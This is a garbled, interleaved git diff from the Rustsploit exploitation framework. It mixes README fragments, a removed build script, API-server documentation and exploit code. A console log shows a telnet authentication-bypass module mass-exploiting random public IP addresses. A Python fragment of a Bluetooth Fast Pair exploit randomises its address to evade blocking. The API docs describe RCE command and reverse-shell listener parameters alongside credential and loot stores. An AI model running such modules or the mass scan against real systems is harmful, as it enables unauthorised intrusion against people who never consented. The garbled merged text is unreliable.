- **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, IMAP, RDP, RTSP, SNMP, L2TP, MQTT, VNC, MySQL, PostgreSQL, Redis, CouchDB, Elasticsearch, Memcached, HTTP Basic, Proxy, Fortinet — with IPv6 and TLS support
|
||||
- **Exploit coverage:** CVEs for VNC (LibVNC, TigerVNC, TightVNC, x11vnc), honeypots (Cowrie, Dionaea, HoneyTrap, SNARE), WAFs (SafeLine), Apache Camel, Kubernetes ingress-nginx, Commvault, MISP, Zimbra, Next.js, Vite, and 100+ more
|
||||
- **Scanners & utilities:** Port scanner, ping sweep, SSDP, HTTP title grabber, DNS recursion tester, directory bruteforcer, sequential fuzzer, proxy scanner, reflect scanner, vulnerability checker
|
||||
- **Service & TLS fingerprinting:** Rapid7 **Recog** banner → product/version/CPE matching folded into service detection, plus Salesforce **JARM** + **JA3/JA3S** active TLS server fingerprinting (`scanners/jarm_scan`)
|
||||
- **Wordlist catalog:** checksum-pinned **SecLists** wordlists fetched + SHA-256-verified on demand into `~/.rustsploit/wordlists/` (`utils::wordlist::resolve`)
|
||||
- **Performance:** shared, cached HTTP client — TLS config + connection pool reused across runs instead of rebuilt per request, with a bounded idle timeout for internet-scale sweeps
|
||||
- **API server:** PQ-encrypted WebSocket transport — post-quantum cryptography, full CRUD for credentials, hosts, services, loot, jobs
|
||||
- **MCP server:** Model Context Protocol server on the **official `rmcp` SDK (v1.7)** — 29 tools + 7 resources for AI-assisted pentesting via stdio
|
||||
- **Plugin system:** Third-party modules via `src/modules/plugins/` with compile-time `inventory` self-registration and startup safety warnings
|
||||
- **Security hardened:** Input validation, path traversal protection, honeypot detection, root privilege checks, spool symlink protection, memory-safe operations
|
||||
- **IPv4/IPv6 ready:** Both address families work out-of-the-box across all modules
|
||||
|
||||
---
|
||||
|
||||
## 🌐 Proxy Retry Logic (Shell Mode)
|
||||
## Quick Start
|
||||
|
||||
- If proxies are loaded and `proxy_on` is active:
|
||||
- Random proxy is used from list
|
||||
- On failure, tries another until successful
|
||||
- If all fail, it runs once **without proxy**
|
||||
**One command** (Debian/Ubuntu/Kali):
|
||||
|
||||
---
|
||||
|
||||
## 📂 Module System
|
||||
|
||||
Modules are automatically detected using `build.rs` and registered as:
|
||||
- Short: `port_scanner`
|
||||
- Full: `scanners/port_scanner`
|
||||
|
||||
Each module must define:
|
||||
```bash
|
||||
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake && (command -v cargo > /dev/null 2>&1 || (curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && . "$HOME/.cargo/env")) && git clone https://github.com/s-b-repo/rustsploit.git && cd rustsploit && cargo run
|
||||
```
|
||||
pub async fn run(target: &str) -> Result<()>
|
||||
## How to turn Bluetooth OFF (e.g. on FreeBSD without Bluetooth hardware):
|
||||
|
||||
```
|
||||
cargo build --no-default-features
|
||||
```
|
||||
## or
|
||||
```
|
||||
cargo run --no-default-features
|
||||
```
|
||||
## How to turn Bluetooth ON
|
||||
```
|
||||
cargo build --features bluetooth
|
||||
```
|
||||
## or
|
||||
```
|
||||
cargo run --features bluetooth
|
||||
```
|
||||
|
||||
Optional:
|
||||
```
|
||||
pub async fn run_interactive(target: &str) -> Result<()>
|
||||
<details>
|
||||
<summary>What each dependency does</summary>
|
||||
|
||||
| Package | Required by | Why |
|
||||
|---------|------------|-----|
|
||||
| `build-essential` | Native crate compilation | gcc, make, libc headers |
|
||||
| `pkg-config` | `native-tls`, `ssh2` | Finds system libraries at build time |
|
||||
| `libssl-dev` | `native-tls`, `ssh2` | OpenSSL headers for TLS and SSH |
|
||||
| `libdbus-1-dev` | `btleplug` | D-Bus IPC for Bluetooth scanning |
|
||||
| `cmake` | `ssh2` (libssh2-sys) | Builds libssh2 from source |
|
||||
|
||||
|
||||
</details>
|
||||
|
||||
For other distros (Arch, Gentoo, Fedora), Docker deployment, and one-liner installs, see **[Getting Started](docs/Getting-Started.md)**.
|
||||
|
||||
---
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
- **New user?** → [Getting Started](docs/Getting-Started.md)
|
||||
- **Writing a module?** → [Module Development](docs/Module-Development.md)
|
||||
- **Using the API?** → [API Server](docs/API-Server.md) + [API Usage Examples](docs/API-Usage-Examples.md)
|
||||
- **Running from CLI?** → [CLI Reference](docs/CLI-Reference.md)
|
||||
- **Full module list?** → [Module Catalog](docs/Module-Catalog.md)
|
||||
|
||||
---
|
||||
|
||||
## API server quick start
|
||||
|
||||
The PQ-encrypted API is what external integrations and web panels talk to.
|
||||
Bind it to whichever interface you want — the bootstrap path is gated by a
|
||||
one-time enrollment token printed at startup, **not** by the bind address.
|
||||
|
||||
```bash
|
||||
# Local-only (default, useful for development)
|
||||
cargo run --release -- --api
|
||||
|
||||
# Reachable on a LAN
|
||||
cargo run --release -- --api --interface 192.0.2.10:8080
|
||||
|
||||
# Reachable from anywhere (bind to all interfaces)
|
||||
cargo run --release -- --api --interface 0.0.0.0:8080
|
||||
```
|
||||
|
||||
---
|
||||
On startup the server prints something like:
|
||||
|
||||
## 🧼 Shell State
|
||||
```
|
||||
═══════════════════════════════════════════════════════════════
|
||||
ENROLLMENT TOKEN (one-time, prints once): tWQ9sIz3kZGdHc4w7g8hPxJrAaPN1c0v
|
||||
Bootstrap a client by POSTing its PQ public keys + this
|
||||
token to POST /pq/register-key:
|
||||
{ token, name, x25519_pub, mlkem_ek }
|
||||
After first successful registration the token is consumed; further
|
||||
key changes must go through the established PQ session.
|
||||
═══════════════════════════════════════════════════════════════
|
||||
```
|
||||
|
||||
The shell keeps:
|
||||
- Current module
|
||||
- Current target
|
||||
- Proxy list + state
|
||||
Hand that token to whichever client you want to enroll. The client POSTs
|
||||
its X25519 + ML-KEM-768 public keys to `/pq/register-key` over the
|
||||
network — no shared filesystem required, client and server can be on
|
||||
different hosts. The token is consumed on first use; restart the server
|
||||
to issue a new one.
|
||||
|
||||
No session state is saved — everything resets on restart.
|
||||
Endpoints exposed by `--api`:
|
||||
|
||||
| Path | Auth | Purpose |
|
||||
|------|------|---------|
|
||||
| `GET /health` | none | Liveness |
|
||||
| `POST /pq/handshake` | identity allowlist | PQXDH session establishment |
|
||||
| `POST /pq/register-key` | enrollment token (one-time) | Bootstrap a new client identity |
|
||||
| `GET /pq/ws` | PQ session | Bi-directional event/RPC channel |
|
||||
| `ALL /api/*` | PQ session | REST surface (auto-generated from JSON-RPC dispatcher) |
|
||||
|
||||
---
|
||||
|
||||
## 💡 Want to Add a Module?
|
||||
## Private Internet Recommendations
|
||||
|
||||
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
Includes:
|
||||
- ✅ How to write modules
|
||||
- 🧠 Auto-dispatch system explained
|
||||
- 📦 Module placement
|
||||
- 🌐 Proxy logic details
|
||||
- 🔍 Scanner vs Exploit vs Credential paths
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions. We recommend **[Mullvad VPN](https://mullvad.net)** for its no-registration, audited no-logs policy, WireGuard support, and excellent Linux CLI. Simply connect your VPN before running the tool — all traffic routes through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
## 👥 Contributors
|
||||
## Contributing
|
||||
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools
|
||||
|
||||
## 👥 Credits
|
||||
|
||||
- **wordlists*: seclists & me
|
||||
Contributions welcome! See the **[Contributing Guide](docs/Contributing.md)** for the full process. In short:
|
||||
|
||||
1. Fork + branch from `main`
|
||||
2. Add your module under the appropriate category
|
||||
3. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
- **Project Lead:** s-b-repo
|
||||
- **Language:** 100% Rust
|
||||
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
|
||||
|
||||
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
|
||||
|
||||
---
|
||||
|
||||
<details>
|
||||
<summary><sub>Support this project</sub></summary>
|
||||
<p align="center"><br/>
|
||||
If this tool saved you time, consider tossing $1 in Monero:<br/><br/>
|
||||
<code>478Lb78LDscQ8ukEDTZqXgEtjoBX1jMuVGvgfy2RagxZZk89YuyVYsganfLUKnwggz8YiBxhG25yWWiHUppG9uarSiseseY</code><br/><br/>
|
||||
<sub>XMR — private, untraceable, appreciated.</sub>
|
||||
</p>
|
||||
</details>
|
||||
@@ -0,0 +1,22 @@
|
||||
rsf> use exploits/telnet/telnet_auth_bypass_cve_2026_24061
|
||||
Module 'exploits/telnet/telnet_auth_bypass_cve_2026_24061' selected.
|
||||
rsf> t 0.0.0.0
|
||||
Target set to: 0.0.0.0
|
||||
rsf> run
|
||||
[*] Using target: 0.0.0.0
|
||||
Running module 'exploits/telnet/telnet_auth_bypass_cve_2026_24061' against target '0.0.0.0'
|
||||
[*] Random mass scan — running 'Telnet Authentication Bypass CVE-2026-24061' against random public IPs (Ctrl+C to stop)
|
||||
[*] Will scan up to 10000 random hosts with concurrency 2
|
||||
[*] Progress: 1 processed | 0 ok | 0 err | 0 skipped
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,96 +0,0 @@
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
|
||||
fn main() {
|
||||
println!("cargo:rerun-if-changed=src/modules/exploits");
|
||||
println!("cargo:rerun-if-changed=src/modules/creds");
|
||||
println!("cargo:rerun-if-changed=src/modules/scanners");
|
||||
|
||||
generate_dispatch(
|
||||
"src/modules/exploits",
|
||||
"exploit_dispatch.rs",
|
||||
"crate::modules::exploits"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/creds",
|
||||
"creds_dispatch.rs",
|
||||
"crate::modules::creds"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/scanners",
|
||||
"scanner_dispatch.rs",
|
||||
"crate::modules::scanners"
|
||||
);
|
||||
}
|
||||
|
||||
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let root_path = Path::new(root);
|
||||
let mut mappings = Vec::new();
|
||||
visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key,
|
||||
m = mod_path.replace("/", "::"),
|
||||
p = mod_prefix
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
|
||||
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
|
||||
visit_dirs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
|
||||
if file_name == "mod" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let mod_path = format!("{}/{}", prefix, file_name)
|
||||
.trim_start_matches('/')
|
||||
.to_string();
|
||||
let key = mod_path.clone();
|
||||
|
||||
let mut source = String::new();
|
||||
fs::File::open(&path)?.read_to_string(&mut source)?;
|
||||
|
||||
if sig_re.is_match(&source) {
|
||||
mappings.push((key.clone(), mod_path));
|
||||
println!("✅ Registered module: {}/{}", prefix, file_name);
|
||||
} else {
|
||||
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
# --- Constants ---
|
||||
|
||||
return fmt_mac(chunk)
|
||||
|
||||
return None
|
||||
|
||||
async def exploit_device(self, address, strategy_index=None, log_callback=None):
|
||||
def log(msg, type="info"):
|
||||
if log_callback: log_callback(msg, type)
|
||||
else: print(msg)
|
||||
|
||||
log(f"Starting Multi-Strategy Exploit on {address}...", "info")
|
||||
|
||||
try:
|
||||
async with BleakClient(address, timeout=20.0) as client:
|
||||
log(f"Connected. Auth: {client.is_connected}", "success")
|
||||
|
||||
# Service Discovery
|
||||
service = client.services.get_service(FAST_PAIR_UUID)
|
||||
if not service:
|
||||
for s in client.services:
|
||||
if "fe2c" in str(s.uuid).lower():
|
||||
service = s
|
||||
break
|
||||
if not service:
|
||||
log("Fast Pair Service not found.", "error")
|
||||
return False
|
||||
|
||||
# Model ID & Quirks
|
||||
quirks = {"delay_before_kbp": 0, "delay_before_account_key": 0.5, "prefers_br_edr": True}
|
||||
model_char = service.get_characteristic(MODEL_ID_UUID)
|
||||
if model_char:
|
||||
try:
|
||||
mid_bytes = await client.read_gatt_char(model_char)
|
||||
quirks = self._parse_model_id(mid_bytes)
|
||||
log(f"Model ID: {mid_bytes.hex().upper()} (Quirks applied)", "info")
|
||||
except:
|
||||
log("Could not read Model ID, using defaults.", "info")
|
||||
|
||||
# KBP Characteristic
|
||||
kbp_char = service.get_characteristic(KBP_CHAR_UUID)
|
||||
if not kbp_char:
|
||||
log("KBP Characteristic not found.", "error")
|
||||
return False
|
||||
|
||||
# Apply Quirk Delay
|
||||
if quirks["delay_before_kbp"] > 0:
|
||||
await asyncio.sleep(quirks["delay_before_kbp"])
|
||||
|
||||
# Response Handling
|
||||
response_event = asyncio.Event()
|
||||
parsed_address = None
|
||||
|
||||
def notification_handler(sender, data):
|
||||
nonlocal parsed_address
|
||||
# Use robust parser
|
||||
found = self._parse_kbp_response(data, current_secret)
|
||||
if found:
|
||||
parsed_address = found
|
||||
log(f"Response Parsed! Real Address: {parsed_address}", "success")
|
||||
else:
|
||||
log(f"Response received but could not parse MAC (len={len(data)})", "warning")
|
||||
|
||||
response_event.set()
|
||||
|
||||
await client.start_notify(kbp_char, notification_handler)
|
||||
|
||||
# Strategy Selection
|
||||
strategies_to_try = []
|
||||
if strategy_index is not None:
|
||||
try:
|
||||
strategies_to_try.append(EXPLOIT_STRATEGIES[int(strategy_index)])
|
||||
except (ValueError, IndexError):
|
||||
log(f"Invalid strategy index: {strategy_index}. Available: {list(enumerate(EXPLOIT_STRATEGIES))}", "error")
|
||||
return False
|
||||
else:
|
||||
strategies_to_try = EXPLOIT_STRATEGIES
|
||||
|
||||
# CRITICAL FIX: Use the actual target device address as the Provider Address
|
||||
# The device checks this to ensure the packet is meant for it.
|
||||
try:
|
||||
# Convert MAC string "AA:BB:..." to bytes
|
||||
provider_addr = bytes(int(x, 16) for x in address.split(":"))
|
||||
except ValueError:
|
||||
log("Invalid MAC address format. Using dummy provider address.", "warning")
|
||||
provider_addr = bytes([0xAA, 0xBB, 0xCC, 0x11, 0x22, 0x33])
|
||||
|
||||
# Randomize Seeker Address for every attempt to evade caching/blocking
|
||||
seeker_addr = secrets.token_bytes(6)
|
||||
log(f"Target (Provider) Address: {address}", "info")
|
||||
log(f"Strategies to try: {strategies_to_try}", "info")
|
||||
|
||||
success_strategy = None
|
||||
current_secret = None
|
||||
write_accepted_but_no_response = False
|
||||
|
||||
for strat in strategies_to_try:
|
||||
log(f"Trying Strategy: {strat}...", "info")
|
||||
packet, secret = self._build_kbp_packet(strat, provider_addr, seeker_addr)
|
||||
current_secret = secret # For notification handler
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,361 @@
|
||||
# API Server
|
||||
|
||||
Rustsploit includes a built-in API server (`src/api.rs`, `src/ws.rs`) with post-quantum encrypted WebSocket transport and SSH-style identity key authentication. No TLS. No API keys.
|
||||
|
||||
---
|
||||
|
||||
## Starting the API Server
|
||||
|
||||
```bash
|
||||
# Basic — auto-generates host key on first run
|
||||
cargo run -- --api
|
||||
|
||||
# Custom bind address
|
||||
cargo run -- --api --interface 0.0.0.0:9000
|
||||
|
||||
# Custom key paths
|
||||
cargo run -- --api --pq-host-key /path/to/host_key --pq-authorized-keys /path/to/authorized_keys
|
||||
```
|
||||
|
||||
On first run, the server generates a PQ host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint:
|
||||
```
|
||||
🔑 Host key fingerprint: PQ256:a1b2c3d4e5f6...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--interface <addr:port>` | Bind address (default: `127.0.0.1:8080`) | No |
|
||||
| `--pq-host-key <path>` | PQ host key file (default: `~/.rustsploit/pq_host_key`) | No |
|
||||
| `--pq-authorized-keys <path>` | Authorized client keys (default: `~/.rustsploit/pq_authorized_keys`) | No |
|
||||
|
||||
---
|
||||
|
||||
## Authentication — Post-Quantum Identity Keys
|
||||
|
||||
Authentication uses SSH-style public/private key pairs with post-quantum cryptography. No API keys or Bearer tokens.
|
||||
|
||||
### How it works
|
||||
|
||||
1. **Server** has a host key pair (ML-KEM-768 + X25519) stored at `~/.rustsploit/pq_host_key`
|
||||
2. **Client** has its own identity key pair (ML-KEM-768 + X25519), persisted however the client sees fit (e.g. encrypted at rest in a database, in a keychain, or on disk)
|
||||
3. Client's public key must be listed in `~/.rustsploit/pq_authorized_keys` — populated via the one-time `POST /pq/register-key` flow at first contact, or by hand-editing the file
|
||||
4. On first connection, client and server perform a **mutual authentication handshake** at `POST /pq/handshake`
|
||||
5. Both sides prove key ownership via DH proof-of-possession
|
||||
6. Session keys are derived from 3 shared secrets: ephemeral X25519 DH + identity X25519 DH + ML-KEM-768
|
||||
7. All subsequent API traffic is encrypted with ChaCha20-Poly1305 via a Double Ratchet (forward secrecy)
|
||||
|
||||
### Authorized keys format
|
||||
|
||||
`~/.rustsploit/pq_authorized_keys` — one JSON object per line:
|
||||
```json
|
||||
{"name":"acme-tenant","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
{"name":"redteam","x25519_pub":"base64...","mlkem_ek":"base64..."}
|
||||
```
|
||||
|
||||
### Security properties
|
||||
|
||||
| Property | Mechanism |
|
||||
|----------|-----------|
|
||||
| Quantum resistance | ML-KEM-768 (NIST FIPS 203, Level 3) |
|
||||
| Classical resistance | X25519 hybrid (both must be broken) |
|
||||
| Forward secrecy | Double Ratchet with periodic DH re-keying |
|
||||
| Mutual authentication | Both sides prove identity key ownership |
|
||||
| Replay protection | Monotonic epoch counter + unique nonces |
|
||||
| Tampering detection | ChaCha20-Poly1305 AEAD with AAD |
|
||||
|
||||
---
|
||||
|
||||
## Endpoints
|
||||
|
||||
### Public (no PQ session needed)
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/health` | Health check |
|
||||
| `POST` | `/pq/handshake` | Establish PQ-encrypted session (mutual auth) |
|
||||
| `POST` | `/pq/register-key` | Enroll a client public key using the one-time enrollment token |
|
||||
| `GET` | `/pq/ws` | Upgrade to PQ-encrypted WebSocket transport |
|
||||
|
||||
### Protected (require active PQ session)
|
||||
|
||||
**Modules**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/modules` | List all available modules by category |
|
||||
| `GET` | `/api/modules/search?q=<keyword>` | Search modules by keyword |
|
||||
| `GET` | `/api/module/{category}/{name}` | Get module info/metadata |
|
||||
| `POST` | `/api/run` | Execute a module against a target |
|
||||
|
||||
**Check**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/check` | Run a module's non-destructive vulnerability check |
|
||||
| `POST` | `/api/run/all` (alias `POST /api/run_all`) | Run the selected module against all stored hosts |
|
||||
|
||||
**Shell**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/shell` | **Disabled** — returns `501 NOT_IMPLEMENTED`. Use the individual RPC endpoints (`/api/run`, `/api/target`, `/api/check`, …) instead. |
|
||||
|
||||
**Target**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/target` | Get current global target |
|
||||
| `POST` | `/api/target` | Set global target |
|
||||
| `DELETE` | `/api/target` | Clear global target |
|
||||
|
||||
**Honeypot Detection**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `POST` | `/api/honeypot-check` | Check if target is a honeypot |
|
||||
|
||||
**Results**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/results` | List saved result files |
|
||||
| `GET` | `/api/results/{filename}` | Download a result file |
|
||||
|
||||
**Global Options**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/options` | List all global options (`setg` values) |
|
||||
| `POST` | `/api/options` | Set a global option |
|
||||
| `DELETE` | `/api/options` | Delete a global option |
|
||||
|
||||
**Credential Store**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/creds` | List stored credentials |
|
||||
| `POST` | `/api/creds` | Add a credential manually |
|
||||
| `DELETE` | `/api/creds` | Delete a credential by ID |
|
||||
|
||||
**Workspace / Hosts / Services**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/hosts` | List tracked hosts |
|
||||
| `POST` | `/api/hosts` | Add a host (IP, hostname, OS guess) |
|
||||
| `GET` | `/api/services` | List discovered services |
|
||||
| `POST` | `/api/services` | Add a service (host, port, protocol, name) |
|
||||
| `GET` | `/api/workspace` | Get current workspace name/data |
|
||||
| `POST` | `/api/workspace` | Switch to a different workspace |
|
||||
|
||||
**Loot**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/loot` | List collected loot items |
|
||||
| `POST` | `/api/loot` | Add loot (host, type, description, data) |
|
||||
|
||||
**Jobs**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/jobs` | List background jobs |
|
||||
| `DELETE` | `/api/jobs/{id}` | Kill a background job by ID |
|
||||
|
||||
**Export**
|
||||
|
||||
| Method | Path | Description |
|
||||
|--------|------|-------------|
|
||||
| `GET` | `/api/export?format=<json\|csv\|summary>` | Export engagement data |
|
||||
|
||||
> **Note:** Non-destructive vulnerability checks use the dedicated `POST /api/check` endpoint (a module and target must be set). The `POST /api/shell` endpoint is **disabled** and returns `501 NOT_IMPLEMENTED`.
|
||||
|
||||
> All responses include `request_id`, `timestamp`, and `duration_ms` fields for observability.
|
||||
|
||||
> The route table above lists the most commonly used endpoints. The dispatcher (`src/api.rs`) also exposes additional sub-routes such as `GET /api/modules/enriched`, `GET /api/creds/search`, `POST /api/creds/clear`, `POST /api/hosts/notes`, `POST /api/hosts/clear`, `POST /api/loot/clear`, `GET /api/workspaces`, `POST /api/jobs/limit`, `GET /api/jobs/{id}`, and `GET`/`POST /api/spool`. Treat `src/api.rs` as the source of truth for the full route set.
|
||||
|
||||
### WebSocket Transport
|
||||
|
||||
`GET /pq/ws` upgrades the connection to a PQ-encrypted WebSocket. After the initial `/pq/handshake`, clients can switch to WebSocket for persistent bidirectional communication.
|
||||
|
||||
**Features:**
|
||||
- PQ-encrypted frames using ChaCha20-Poly1305 (same security as REST)
|
||||
- Max 100 concurrent WebSocket connections
|
||||
- 30-second heartbeat interval
|
||||
- 1 MiB max frame size
|
||||
- Sub-session key derivation from the PQ handshake session
|
||||
|
||||
**Headers required:**
|
||||
- `X-PQ-Session-Id` — session ID from `/pq/handshake`
|
||||
- Standard WebSocket upgrade headers
|
||||
|
||||
WebSocket messages use the same JSON request/response format as REST endpoints. The WebSocket transport is ideal for long-running operations, real-time job monitoring, and persistent client connections.
|
||||
|
||||
---
|
||||
|
||||
### Shell Command Endpoint (disabled)
|
||||
|
||||
`POST /api/shell` is **not implemented** and returns `501 NOT_IMPLEMENTED`. A
|
||||
generic "run any shell command" endpoint is intentionally withheld until an ACL
|
||||
design lands. Use the dedicated RPC endpoints instead:
|
||||
|
||||
| Want to… | Use |
|
||||
|----------|-----|
|
||||
| Select / inspect a module | `GET /api/modules`, `GET /api/module/{category}/{name}` |
|
||||
| Set / clear the target | `POST` / `DELETE /api/target` |
|
||||
| Run a module | `POST /api/run` (or `POST /api/run/all` for all stored hosts) |
|
||||
| Run a non-destructive check | `POST /api/check` |
|
||||
| Read / write global options | `GET` / `POST` / `DELETE /api/options` |
|
||||
| Manage creds / hosts / services / loot | the corresponding `/api/creds`, `/api/hosts`, `/api/services`, `/api/loot` routes |
|
||||
|
||||
---
|
||||
|
||||
## Security Features
|
||||
|
||||
### Input Validation
|
||||
|
||||
| Check | Detail |
|
||||
|-------|--------|
|
||||
| Request body limit | Max 2 MiB (`DefaultBodyLimit`, prevents DoS) |
|
||||
| Target validation | Length check, control char rejection, path traversal prevention |
|
||||
| SSRF target filtering | Targets resolving to loopback/RFC1918/link-local/CGNAT/cloud-metadata ranges are rejected (`is_blocked_target` / `resolve_and_check` in `src/api.rs`) |
|
||||
| Module path sanitization | Validated against injection and traversal attacks |
|
||||
|
||||
> There is no API-key mechanism. Authentication is performed by the
|
||||
> post-quantum mutual handshake (enrollment token + client public key), not by
|
||||
> a bearer key.
|
||||
|
||||
### Access Control
|
||||
|
||||
Access is gated by the PQ handshake: a client must complete `/pq/handshake`
|
||||
with an authorized key (bootstrapped via an enrollment token) before any
|
||||
`/api/*` route is reachable. There is **no** `ip_whitelist.conf` file or
|
||||
IP-allowlist mechanism.
|
||||
|
||||
### Rate Limiting
|
||||
|
||||
The only rate limiter is on the PQ handshake endpoint (`src/pq_middleware.rs`):
|
||||
|
||||
- **10 handshake attempts per 60-second sliding window, per source IP.**
|
||||
- Over-limit handshakes are rejected; timestamps older than the window are pruned automatically.
|
||||
|
||||
There is no general per-request-per-second limit and no failed-auth lockout on the `/api/*` routes themselves.
|
||||
|
||||
### Post-Quantum Host Key
|
||||
|
||||
The server generates an ML-KEM-768 + X25519 host key pair on first run at `~/.rustsploit/pq_host_key`. This is the server's permanent identity — like an SSH host key. The fingerprint is displayed on startup and should be verified by clients on first connection to prevent MITM attacks.
|
||||
|
||||
---
|
||||
|
||||
## Logging
|
||||
|
||||
All activity is logged to:
|
||||
- **Terminal** — real-time colored output
|
||||
- **`rustsploit_api.log`** — in the current working directory
|
||||
|
||||
Logged events include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limit triggers
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
---
|
||||
|
||||
## Module Prompts (API Mode)
|
||||
|
||||
All modules (exploits, scanners, and creds) support a `prompts` field in the
|
||||
`/api/run` request body. This field is a JSON object of key→value pairs that
|
||||
pre-fill interactive prompts so modules run non-interactively via the API.
|
||||
|
||||
### How It Works
|
||||
|
||||
1. Modules use `cfg_prompt_*()` functions that check `prompts` first
|
||||
2. If a key is not found in `prompts`, global options (set via `setg` or
|
||||
`POST /api/options`) are checked next
|
||||
3. If a key is present in either source, its value is used instead of prompting stdin
|
||||
4. If a key is missing in API mode, the default value is used (or an error is
|
||||
returned for required prompts)
|
||||
5. Boolean prompts accept: `y`/`n`/`yes`/`no`/`true`/`false`/`1`/`0`
|
||||
|
||||
### Common Prompt Keys
|
||||
|
||||
| Key | Type | Used By | Description |
|
||||
|-----|------|---------|-------------|
|
||||
| `port` | u16 | Most modules | Target service port |
|
||||
| `target` | string | Some modules | Override target when empty |
|
||||
| `command` | string | RCE exploits | Command to execute |
|
||||
| `username` | string | Auth exploits/creds | Username or login |
|
||||
| `password` | string | Auth exploits/creds | Password or credential |
|
||||
| `mode` | string | Multi-mode modules | Select operation mode (1, 2, 3…) |
|
||||
| `concurrency` | int | Scanners/creds | Max concurrent tasks |
|
||||
| `output_file` | string | Modules with save | Output filename |
|
||||
| `save_results` | y/n | Creds/scanners | Save results to file |
|
||||
| `verbose` | y/n | Many modules | Verbose output |
|
||||
| `skip_ssl` | y/n | Web exploits | Skip SSL verification |
|
||||
| `proceed` | y/n | Dangerous exploits | Confirm execution |
|
||||
| `lhost` | string | Reverse shell | Attacker listener IP |
|
||||
| `lport` | string | Reverse shell | Attacker listener port |
|
||||
| `username_wordlist` | path | Creds modules | Path to username wordlist |
|
||||
| `password_wordlist` | path | Creds modules | Path to password wordlist |
|
||||
| `stop_on_success` | y/n | Creds modules | Stop on first valid credential |
|
||||
| `combo_mode` | y/n | Creds modules | user×pass combination mode |
|
||||
|
||||
### Example: Exploit Module via API
|
||||
|
||||
```json
|
||||
{
|
||||
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
|
||||
"target": "192.168.1.1",
|
||||
